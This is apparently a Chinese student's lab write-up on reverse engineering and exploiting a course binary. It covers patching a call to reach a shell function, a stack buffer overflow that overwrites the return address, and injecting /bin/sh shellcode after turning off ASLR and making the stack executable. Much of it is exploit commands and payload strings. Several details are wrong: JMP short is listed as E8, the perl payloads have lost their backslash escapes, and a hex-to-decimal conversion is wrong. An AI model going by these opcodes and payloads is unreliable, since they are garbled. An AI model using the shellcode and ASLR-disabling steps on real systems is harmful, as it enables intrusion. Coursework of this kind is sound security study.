2019-2020-2 网络对抗技术 20175214 Exp1 PC平台逆向破解
一、知识储备
-
(1)掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
- NOP:90
- JNE:75
- JE:74
- CMP:38~3D
- JMP:
- JMP short:E8
- JMP near:E9
- JMP word:FF
- JMP far:EA
- 参考博客链接
-
(2)掌握反汇编器与十六进制编程器
- 反汇编指令
objdump -d <file(s)>
: 将代码段反汇编;
objdump -S <file(s)>
: 将代码段反汇编的同时,将反汇编代码与源代码交替显示,编译时需要使用-g参数,即需要调试信息;
objdump -C <file(s)>
: 将C++符号名逆向解析
objdump -l <file(s)>
: 反汇编代码中插入文件名和行号
objdump -j section <file(s)>
: 仅反汇编指定的section - 参考博客链接
- 反汇编指令
-
(3)十六进制编程器:是用来以16进制视图进行文本编辑的工具软件.
- Vim下以16进制查看, 修改文本
vim -b filename
:使用vim查看文件
:%!xxd
:将显示模式切换为16进制模式
:%!xxd -r
:修改完成后返回正常格式 - 参考博客链接
- Vim下以16进制查看, 修改文本
二、实验任务
- 学习以两种方式运行指定代码段;
- 学习如何注入运行任何Shellcode。
三、实验步骤
1、直接修改程序机器指令从而运行指定代码段
-
首先,运行
objdump -d pwn1 | more
对pwn1
进行反汇编,结果如图:
-
找到
call 8048491
,这个代码的意思是调用位于地址8048491
处的foo
函数; -
由于我们想要让它运行的是
getShell
,可以从上图看到其地址为0804847d
,根据计算0804847d-80484ba
对应的补码可以得到c3ffffff
; -
接下来就很简单了,只需修改调用处的代码,将
d7ffffff
改为c3ffffff
即可,具体操作为:-
先对pwn1进行备份,方便后面对比效果:
cp pwn1 pwn2
-
使用vim打开文件pwn2
vim pwn2
-
输入
:%!xxd
进入十六进制模式 -
键入
/e8 d7
(注意此处有空格),从而寻找指定代码段
-
将
d7
修改为c3
-
切换为原格式
:%!xxd -r
-
保存退出
-
重新对pwn2进行反汇编,检查修改是否正确
objdump -d pwn2 | more
-
结果如图,可见修改成功
-
-
分别运行
pwn2
和修改前的源代码pwn2
会出现shell提示符,pwn1
会对输入进行回显
2、BOF攻击
-
这里利用的是
foo
函数的bof(Buffer over flow)漏洞,通过构造一个超出一个溢出的buf使得溢出部分可以覆盖堆栈上的返回地址,达到运行我们想要运行的代码段的目的。 -
首先还是先对
pwn1
进行反汇编
-
由图可见,预留的buf长度是
1c
(十六进制)即28个字节,再加上%ebp
占用的4字节,也就是32个字节。 -
对猜想进行验证
-
由图可见,
eip
被覆盖为0x39393939
,39
即为ASCII码的9
,根据输入的buf,可知是第33至36位; -
因此,只需要将把这四个字符替换成想要运行的代码段的地址就可以了,即
getshell
的内存地址0804847d
; -
接下来再对其存储时的字节顺序进行测试:
-
由图可见,
eip
的值为0x35343332
,换算成十进制即5432
,所以需要逆序输入 -
综上所述,最终确定构造的buf为
11111111111111111111111111111111x7dx84x04x08
-
由于没法通过键盘输入x7dx84x04x08这样的16进制值,所以通过使用
perl
生成一个字符串文件。
perl -e 'print "11111111111111111111111111111111x7dx84x04x08x0a"' > input
-
通过
xxd input
来查看是否符合预期 -
然后使用管道符“|”将input的输入作为pwn3的输入
(cat input ;cat) | ./pwn3
-
过程和结果如图:
3、注入Shellcode并执行
- 使用
apt-get execstack
安装execstack - 修改堆栈的设置
execstack -s pwn4//设置堆栈可执行
execstack -q pwn4//查询文件的堆栈是否可执行
more /proc/sys/kernel/randomize_va_space //查看每次执行程序时堆栈位置是否移动
echo "0" > /proc/sys/kernel/randomize_va_space//关闭地址随机化
more /proc/sys/kernel/randomize_va_space //关闭后查看结果
- 先构造一个shellcode语句,并且把这个语句写入到文件“input_2”中(参考老师的博客中给出的shellcode):
perl -e 'print "A" x 32;print "x4x3x2x1x90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_2
-
其中
x4x3x2x1
是用来暂时表示shellcode代码首地址的,接下来要寻找其首地址:-
1、首先打开两个终端,在终端1的输入
(cat input_2;cat) | ./pwn4
-
2、在终端2输入
ps -ef | grep pwn4
查看进程,可见进程号为1278;
-
3、在终端2调用gdb,并输入
attach 1278
定位pwn4进程,然后输入disassemble foo
来查看注入内容的地址 -
4、在ret的地址处设置断点:
break *0x080484ae
-
5、返回终端1,回车,然后再切换到终端2,输入c继续执行;
-
6、使用
info -r rsp
来查看栈顶指针,为0xffffd6dc
。再输入x/16x 0xffffd6dc
查看指针指向的内容;
-
7、可以从上图看到,shellcode的首地址就是
0xffffd6dc
再加上4,即0xffffd6e0
;
-
-
注意,先结束gdb,否则会出现段错误,然后返回终端1结束进程,并构造shellcode:
perl -e 'print "A" x 32;print "xe0xd6xffxffx90x90x90x90x90x90x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x50x53x89xe1x31xd2xb0x0bxcdx80x90x00xd3xffxffx00"' > input_3
-
进行注入
(cat input_3;cat) | ./pwn4
,并验证。
四、问题回答
- 什么是漏洞?漏洞有什么危害?
- 我认为漏洞就是在计算机软件、硬件、协议等方面上存在的可以被利用的缺陷。
漏洞给了不法分子对计算机进行非法操作的可能,危害了用户隐私信息,可能造成经济财产损失。
五、心得体会
本次实验的第1、2步比较简单,主要是第3步花了很多时间,因为我第一次做到一半的时候做得太晚了,就关机准备第二天做,结果在第二天因为地址随机化没有关闭一直失败,重头再做才成功。这次实验让我学会了缓冲区溢出攻击的基本原理以及栈的构成原理,这也是我第一次接触到这样的实验,感觉很有趣。对于实验内容中的每一步我都尽可能地去理解,收获很大,也让我对于接下来的实验更感兴趣。在接下来的实验我会更加小心,不犯这次这样低级的错误。